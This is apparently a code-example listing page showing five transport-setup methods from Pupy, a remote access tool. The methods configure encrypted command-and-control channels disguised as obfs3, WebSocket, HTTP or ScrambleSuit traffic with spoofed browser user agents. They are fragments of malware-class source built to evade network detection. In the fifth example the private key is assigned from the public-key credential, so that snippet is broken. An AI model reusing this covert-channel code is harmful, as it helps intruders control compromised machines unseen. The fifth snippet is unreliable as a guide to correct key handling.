コード例 #1
0
ファイル: conf.py プロジェクト: txtaly/pupy
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                    Obfs3Client,
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    Obfs3Server,
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )

        else:
            self.client_transport = chain_transports(
                    Obfs3Client,
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    Obfs3Server,
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
コード例 #2
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        user_agent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36"

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                    PupyWebSocketClient.custom(user_agent=user_agent),
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyWebSocketServer.custom(verify_user_agent=user_agent),
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )

        else:
            self.client_transport = chain_transports(
                    PupyWebSocketClient.custom(user_agent=user_agent),
                    RSA_AESClient.custom(pubkey=RSA_PUB_KEY, rsa_key_size=4096, aes_size=256),
                )
            self.server_transport = chain_transports(
                    PupyWebSocketServer.custom(verify_user_agent=user_agent),
                    RSA_AESServer.custom(privkey=RSA_PRIV_KEY, rsa_key_size=4096, aes_size=256),
                )
コード例 #3
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY
            SCRAMBLESUIT_PASSWD = pupy_credentials.SCRAMBLESUIT_PASSWD

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']
            SCRAMBLESUIT_PASSWD = credentials['SCRAMBLESUIT_PASSWD']

        self.client_transport_kwargs.update({
            'host':
            None,
            'path':
            '/ws/' + ''.join(md5(SCRAMBLESUIT_PASSWD).hexdigest()[:8]),
            'user-agent':
            DEFAULT_USER_AGENT
        })

        self.server_transport_kwargs.update({
            'path':
            '/ws/' + ''.join(md5(SCRAMBLESUIT_PASSWD).hexdigest()[:8]),
            'user-agent':
            DEFAULT_USER_AGENT
        })

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                PupyWebSocketClient,
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
            self.server_transport = chain_transports(
                PupyWebSocketServer,
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )

        else:
            self.client_transport = chain_transports(
                PupyWebSocketClient,
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
            self.server_transport = chain_transports(
                PupyWebSocketServer,
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
コード例 #4
0
ファイル: conf.py プロジェクト: midnightslacker/RatMuseum
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)

        self.client_transport_kwargs.update({'host': None})

        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PRIV_KEY

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']

        user_agent = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) '\
          'Chrome/41.0.2228.0 Safari/537.36'

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                PupyHTTPClient.custom(keep_alive=True, user_agent=user_agent),
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
            self.server_transport = chain_transports(
                PupyHTTPServer.custom(verify_user_agent=user_agent),
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )

        else:
            self.client_transport = chain_transports(
                PupyHTTPClient.custom(keep_alive=True, user_agent=user_agent),
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
            self.server_transport = chain_transports(
                PupyHTTPServer.custom(verify_user_agent=user_agent),
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256),
            )
コード例 #5
0
    def __init__(self, *args, **kwargs):
        Transport.__init__(self, *args, **kwargs)
        try:
            import pupy_credentials
            RSA_PUB_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            RSA_PRIV_KEY = pupy_credentials.SIMPLE_RSA_PUB_KEY
            SCRAMBLESUIT_PASSWD = pupy_credentials.SCRAMBLESUIT_PASSWD

        except ImportError:
            from pupylib.PupyCredentials import Credentials
            credentials = Credentials()
            RSA_PUB_KEY = credentials['SIMPLE_RSA_PUB_KEY']
            RSA_PRIV_KEY = credentials['SIMPLE_RSA_PRIV_KEY']
            SCRAMBLESUIT_PASSWD = credentials['SCRAMBLESUIT_PASSWD']

        self.client_transport_kwargs = {'password': SCRAMBLESUIT_PASSWD}
        self.server_transport_kwargs = {'password': SCRAMBLESUIT_PASSWD}

        if self.launcher_type == LAUNCHER_TYPE_BIND:
            self.client_transport = chain_transports(
                ScrambleSuitClient,
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256))
            self.server_transport = chain_transports(
                ScrambleSuitServer,
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256))

        else:
            self.client_transport = chain_transports(
                ScrambleSuitClient,
                RSA_AESClient.custom(pubkey=RSA_PUB_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256))
            self.server_transport = chain_transports(
                ScrambleSuitServer,
                RSA_AESServer.custom(privkey=RSA_PRIV_KEY,
                                     rsa_key_size=4096,
                                     aes_size=256))